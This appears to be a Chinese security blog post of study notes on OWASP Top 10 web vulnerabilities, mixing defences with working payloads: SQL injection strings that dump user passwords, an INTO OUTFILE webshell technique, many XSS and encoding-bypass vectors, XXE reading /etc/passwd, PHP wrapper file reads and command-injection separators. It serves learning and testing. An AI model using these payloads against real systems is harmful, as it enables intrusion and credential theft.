web安全总结

owasp-top10

简介

OWASP:开放式Web应用程序安全项目(Open Web Application Security Project)

OWASP是一家国际性组织机构,并且是一个开放的、非盈利组织,它致力于协助政府、企业开发、升级各类应用程序以保证其可信任性。

所有OWASP的工具、文档、研讨以及所有分会都对任何就应用安全领域感兴趣的人士自由开放。

不过OWASP每四年发布一次,现在最新的OWASP是2017年的,在2021年会更新最新的OWASP top 10。

2017版的OWASP top 10

20190808212113913

SQL注入

概述

原理

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的”数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

其成因可以归结为以下两个要素叠加的:

  1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

sql注入分类

  • 注入点类型:字符型(需要单引号),数字型(不需要单引号),搜索型注入
  • 页面回显:有回显注入,报错注入,布尔盲注,时间盲注
  • 注入位置:get注入,post注入,cookie注入,http头注入,……

sql注入防御

  1. 使用参数化语句(也称为预处理语句)而非动态SQL来组装SQL查询
  2. 使用白名单对输入内容进行验证,限制所有用户控制的输入类型、大小、范围和内容。
  3. 确保对包含用户可控制输入的查询进行正确编码,以防止使用单引号或其他字符来修改查询

sql注入绕过

架构层绕过:

  • 寻找源站 -> 针对云WAF
  • 利用同网段,利用边界漏洞 -> 绕过WAF防护区域

资源限制角度绕过:

  • 由于分析大数据包会占用大量资源,所以WAF可能会忽略大数据包的检测

协议层面绕过:

  • 协议未覆盖绕过WAF:请求方式变换,Content-Type变换
  • 参数污染:?id=1&id=2 WAF与中间件的区别造成WAF只识别一个而放过其他

规则层绕过:

  • 根据规则漏洞,绕过检测

mysql

mysql基础

常用函数:

1587106393097

1587106419397

运算符:

1587106434284

数据库结构:

1587106446258

注入

union查询注入

应用场景:注入点页面有回显

以sqli-lab less1 为例

1
2
3
4
5
6
7
8
9
10
11
?id=1' order by 3 --+

?id=-1' union select 1,2,3 --+

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

报错注入

应用场景:会打印错误信息

floor()
1
2
3
?id=1' and (select count(*) from information_schema.tables group by concat((select database()), 0x3a, floor(rand(0)*2)))--+

?id=1' and (select count(*) from information_schema.tables group by concat((select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x3a, floor(rand(0)*2)))--+
extactvalue()
1
?id=1' and (select extractvalue(1, concat(0x7e,(select database()) ,0x7e)))--+
updataxml()
1
2
3
?id=1' and (updatexml(1, concat(0x7e,(select database()) ,0x7e),1))--+

?id=1' and (select updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,0x7e),1))--+

布尔盲注

应用场景:无回显,无错误信息,但会显示 “right” 和 “wrong”

示例:

1
2
3
4
5
6
7
8
?id=1' and (left(database(),1)='s')--+
?id=1' and (left(database(),2)='se')--+

?id=1' and (database() regexp '^s')--+
?id=1' and (database() regexp '^se')--+

?id=1' and ascii(substr(database(), 1,1))=ascii('s')--+
?id=1' and ascii(substr(database(), 2,1))=ascii('e')--+

时间盲注

应用场景:存在sql注入,但不回显数据和错误,也不提示真假

1
2
3
?id=1' and if(left(database(),1)='s',sleep(3),0)--+

?id=1' and if(ascii(substr(database(), 1,1))=ascii('s'),sleep(3),0)--+

利用sql注入漏洞getshell

1
2
SELECT * INTO OUTFILE 'C:\log1.txt'
SELECT 一句话木马(十六进制编码),2 INTO OUTFILE 'C:\log1.txt'

绕过

大小写变形,嵌套重写,/**/注释符嵌套,<>嵌套

等价替换:

  • union select -> union all select
  • and -> &&
  • or -> ||

无逗号sql语句:

  • 无逗号截取字符串
1
2
select substring ((select user()) from 1 for 1); #第一种方法
select substring ((select user()) from -1); #第二种方法
  • join语法
1
union select * from (select 1)a join (select 2)b

条件语句:

1
2
select case when (条件) then 代码1 else 代码2 end
if(条件,为真执行,为假执行)

handler语法:

1
handler `users` open;handler `users` read first;

MSsql

暂无

Oracle

暂无

SQL注入技巧

宽字节注入

宽字节:GB2312,GBK,BIG5等为两字节的编码

原理:

1587106467305

常用测试符:%df,%bf

二次编码注入

原理:编码函数与程序本身编码配合失当

1587106480479

常用测试符:%2527

二次注入

原理:

1587106491974

堆叠注入

原理:允许多个sql语句拼接执行,;表示sql句尾

1
2
3
4
5
1';show databases;#

1';show tables;#

1';show columns from `words`;#

XSS

概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:反射性XSS,存储型XSS,DOM型XSS。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用”对输入进行过滤”和”输出进行转义”的方式进行处理。

原理

反射性XSS

原理:

1587109626732

存储型XSS

原理:

1587109642296

DOM型XSS

1587109656226

与反射型的区别:DOM型不经过后端处理,只通过前端输出

防御

  • 过滤一些危险字符,以及转义& < > " ' /等危险字符
  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
  • 设置CSP(Content Security Policy)
  • 输入内容长度限制

利用

一些常见标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<scirpt>alert("xss");</script>

<img src=1 onerror=alert("xss");>

<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus> //竞争焦点,从而触发onblur事件
<input onfocus="alert('xss');" autofocus> //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');"> //使用open属性触发ontoggle事件,无需用户去触发

<svg onload=alert("xss");>

<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus> //通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<iframe onload=alert("xss");></iframe>

<video><source onerror="alert(1)">

<audio src=x onerror=alert("xss");>

<body/onload=alert("xss");>
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea onfocus=alert("xss"); autofocus>

<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

远程包含js文件

在无CSP的情况下才可以

1
<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

1
2
3
4
5
6
7
<a href="javascript:alert(`xss`);">xss</a>

<iframe src=javascript:alert('xss');></iframe>

<img src=javascript:alert('xss')>//IE7以下

<form action="Javascript:alert(1)"><input type=submit>

绕过

简单绕过

/代替空格,大小写绕过,双写关键字,反引号代替单双引号

字符拼接

  • eval() <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  • top <script>top["al"+"ert"](`xss`);</script>

利用注释标签优先级

1
2
3
4
5
<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

  • unicode
1
2
3
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  • url编码
1
2
3
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  • ascii码
1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  • hex
1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  • 八进制
1
<img src=x onerror=alert('\170\163\163')>
  • base64
1
2
3
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤括号

当括号被过滤的时候可以使用throw来绕过

1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码:

1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP:

  • 十进制IP
1
<img src="x" onerror=document.location=`http://2130706433/`>
  • 八进制IP
1
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
  • hex
1
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  • html标签中用//可以代替http://
1
<img src="x" onerror=document.location=`//www.baidu.com`>
  • 使用中文逗号代替英文逗号

    如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号

1
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

上传漏洞

概述

文件上传流程:

1587107632444

文件上传数据包:

1587107652213

原理

上传检测流程:

1587107726755

当文件上传点未对上传文件进行严格的验证和过滤,就容易造成任意文件上传,如果上传的目标目录没有限制执行权限,导致上传的文件可以访问并执行,即造成文件上传漏洞

常见检测

  • 前端检测 :没有防护作用,可轻松绕过

  • MIME类型检测:截包修改MIME type

MIME为描述内容类型的因特网标准,浏览器会根据文件扩展名,对应到相应的MIME类型上

常见MIME白名单:

1587108541507

  • 文件内容检测
  • 简单文件头检测
  • 文件结构完整性检测

调用相应函数检测文件是否完整,无法简单修改文件头绕过,可使用copy等命令进行文件合并

  • 恶意文件内容检测

检测文件内容关键字,如 eval() base64_encode() assert() 等

可使用强混淆工具如weevely(kali自带)等进行处理

或尝试开源webshell收集项目:https://github.com/tennc/webshell

  • 文件扩展名检测

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml

waf与php取值有差异时:多个filename绕过

目录可控时:使用 ../../ 进行目录穿越,上传到可执行目录

拥有后台权限:修改上传规则

解析漏洞

  • iis/Nginx + php fastcgi取值错误解析漏洞

1587109035745

  • Nginx 文件名逻辑漏洞

1587109060828

  • apache解析漏洞

1587109107054

  • IIS 5.X/6.0解析漏洞

1587109126729

漏洞利用技巧

重绘图

1587109186695

phpinfo与本地文件包含的利用

1587109225921

在线解压缩利用

1587109248567

命令执行漏洞

成因:未经处理调用系统命令

常见高危函数

  • php

命令执行:system(), shell_exec(), exec(), passthru(), pcntl_exec(), popen(), 反引号

代码执行:eval(), assert(), 动态函数调用, preg_replace()

漏洞利用

payload:

windows:

| 直接执行后面的语句 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux:

; 前面的执行完执行后面的 ping 127.0.0.1;whoami

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

防御

  • 禁用高危系统函数

  • 严格过滤关键字符

  • 严格限制允许的参数类型

CSRF

概述

跨站请求伪造简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求,然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。

CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

  • 对敏感信息的操作增加安全的token;
  • 对敏感信息的操作增加安全的验证码;
  • 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

token

Token一般用在两个地方: 防止表单重复提交防止csrf攻击

两者在原理上都是通过session token来实现的。当客户端请求页面时,服务器会生成一个随机数Token,并且

将Token放置到session当中,然后将Token发给客户端(一般通过构造hidden表单)。

下次客户端提交请求时,Token会随着表单一起提交到服务器端。

服务器端第一次验证相同过后,会将session中的Token值更新下,若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中的Token没变,但服务器端session中Token已经改变了。

token验证:

  • token须要足够随机
  • 敏感的操作应该使用POST。而不是GET,以form表单的形式提交。能够避免token泄露。

SSRF

概述

服务器端请求伪造

由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。

通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以使服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip

file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf

防御

  • 限制协议
  • 限制IP
  • 过滤返回信息
  • 统一错误信息

XXE

XML外部实体注入

概述

XML:可扩展标记语言,常用于 数据存储,数据传输,数据共享

XML实体:

1587106820702

DTD:文档类型定义,一种XML约束模式语言,用于描述XML文档的结构,每个XML文件可携带一个自身格式的描述,不同组织的人可使用一个通用DTD来交换数据,应用程序可以使用一个标准DTD校验从外部接受的XML数据是否有效

DTD的三种形式:

1587106864195

原理

普通实体引入外部实体:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<poem>
&xxe;
</poem>

参数实体引入外部实体:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem[
<!ENTITY % a SYSTEM "http://www.test.com/outdtd.dtd">
% a;]>
<poem>&xxe;</poem>

outdtd.dtd
<!ELEMENT xxe SYSTEM "file:///etc/passwd">

危害:任意文件读取,恶意url请求,递归调用占用服务器资源

相关:webService,Xfire,XfireXXE

防御

  • 禁用外部实体
  • 过滤和验证用户提交的XML数据
  • 不允许XML中含有自己生命的DTD
  • 配置XML parse 只能使用静态DTD,禁止外来引入

文件包含

概述

用户的一些行为会将服务器某些文件比如日志,session等写入信息,如果有php页面能够把写入的恶意代码其包含进来,就可能getshell

include, include_once,require,require_one引入文件时,利用参数拼接成路径,而参数如果可控则造成问题。

本地包含:只要使用了include,require等包含的函数,就能本地包含

远程包含:远程包含是跨地址的包含,即包含另外台服务器的页面,前提是在php.ini里面的allow_url_include=ON和allow_url_fopen=ON

利用

php伪协议

  • php://input

读取到访问请求的原始数据的只读流,即读取POST上没有经过解析的数据。不支持multipart/form-data的类型的传码方式上传。在配置文件php.ini中allow_url_include => On 打开

1587111630091

  • php://filter

对磁盘中的文件进行读写,因此可以通过该协议来达到对文件的读取

resource= 要过滤的数据流
read = 读链的筛选列表
write = 写链的筛选列表
convert.base64-encode =>打开后是base64编码后的

1
http://127.0.0.1/test/include.php?a=php://filter/read=convert.base64-encode/resource=fupload.php    #读取文件,将内容base64编码输出
  • zip://

将压缩包里面的文件读取出来,并包含读取的文件,文件路径必须为绝对路径

1
http://127.0.0.1/test/include.php?a=zip://D:/phpstudy/WWW/test/hello.zip%23hello.txt    // %23是#编码,因为要会和url中#定为冲突
  • phar://

将压缩包里面的文件读取出来,并包含读取的文件,文件路径可用是相对路径

1
http://127.0.0.1/test/include.php?a=phar://hello.zip/hello.txt
  • file_put_contents()

在file_put_contents()中可以用php://filter协议进行写文件

1
file_put_contents('php://filter/write=convert.base64-encode/resource=hello.php/.', 'PD9waHAgZWNobyAiaGVsbG8iOz8+');        #可以将base64解码内容写进去,并且不会保存/.

常见包含

  • 对session的包含

  • 对日志文件进行包含

  • 包含图片

  • 包含临时文件

常见配置文件

1
2
3
4
5
/etc/httpd/conf/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-available/000-default.conf    #可以看到web的目录路径
/etc/httpd/conf.d/php.conf

反序列化漏洞

php反序列化

概述

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

1
2
3
4
5
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
1
2
3
4
5
6
7
8
9
10
11
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

1
2
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

原理

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

漏洞举例

1
2
3
4
5
6
7
8
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

实例

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o']; //获取参数o
if(!@$unser = unserialize($s)){ //反序列化
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>"; //直接输出
}

}

思路

构造语句:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

敏感信息泄露

https://www.cnblogs.com/xishaonian/p/7628153.html

SSTL

https://blog.csdn.net/Fly_hps/article/details/86608395

点击劫持

https://blog.csdn.net/xixingzhe2/article/details/103154456

目录遍历

概述

许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名
形如:http://www.nuanyue.com/getfile=image.jgp

当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如d://site/images/image.jpg,将读取的内容返回给访问者。

初看,在只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持~/../等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。

路径遍历漏洞的发现,主要是对Web应用程序的文件读取交互的功能块,进行检测,面对这样的读取方式:
http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf我们可以使用 ../来作试探,

路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名

绕过

  • 编码加密
  • 空字节截断,%00

一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。

  • 修改Http Referer

在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http
Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。

防御

  1. 数据净化,对网站用户提交过来的文件名进行硬编码或者统一编码,对文件后缀进行白名单控制,对包含了恶意的符号或者空字节进行拒绝。
  2. Web应用程序可以使用chrooted环境访问包含被访问文件的目录,或者使用绝对路径+参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下。

任意文件下载漏洞

https://www.cnblogs.com/zhaijiahui/p/8459661.html

https://bealright.github.io/2019/10/24/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E/

不安全的URL跳转

https://blog.csdn.net/weixin_43915842/article/details/91352027

业务逻辑漏洞

重复注册

在未经验证的或验证可绕过的情况下,可再次注册已注册用户,覆盖之前的用户密码

越权

原理:开发人员在对数据进行增删改查时对请求的身份未做验证,鉴权等逻辑判断

1587192129297

水平越权:获取同级别其他用户的权限

垂直越权:获得添加管理员用户或其他管理员权限

常见测试方法:修改请求数据包

支付逻辑漏洞

原理:支付流程通常为选择商品和数量-选择支付及配送方式-生成订单-完成支付,在这个过程中出现逻辑判断错误便会产生漏洞。

常见的支付逻辑漏洞:

  • 支付过程中可修改支付金额
  • 可以将订单中的数量改为负值
  • 请求重放
  • 其他问题如程序异常,参数修改导致的问题等

修复:

  • 对数据中涉及金额,数量等敏感信息进行加密
  • 支付交易请求数据中加入token

密码找回

用户凭证客户端回显

原理:

1587192640106

常见回显:数据包回显,url回显,加密字符串回显,网页源代码回显等

常见用户凭证:密保问题,邮箱/手机验证码

验证码安全

暴力破解

原理:当这些验证码具有一定规律性,且没有做好相应的防护措施时,会导致攻击者通过穷举或其他方式猜解出验证码。

1587192823213

防御:

  • 提高密码复杂度
  • 限制错误次数
  • 限制验证码的时效性

客户端回显

原理:验证码客户端回显或可截取

自动识别

原理:

1587193253169

1587193264832

工具:

Pkav http fuzzer

防御:

  • 增加背景色干扰
  • 字符扭曲粘连
  • 使用公式等逻辑验证
  • 图形验证码和使用者相关
  • 限制失败次数

重复使用

1587192714075

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • © 2020 h0ryit
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信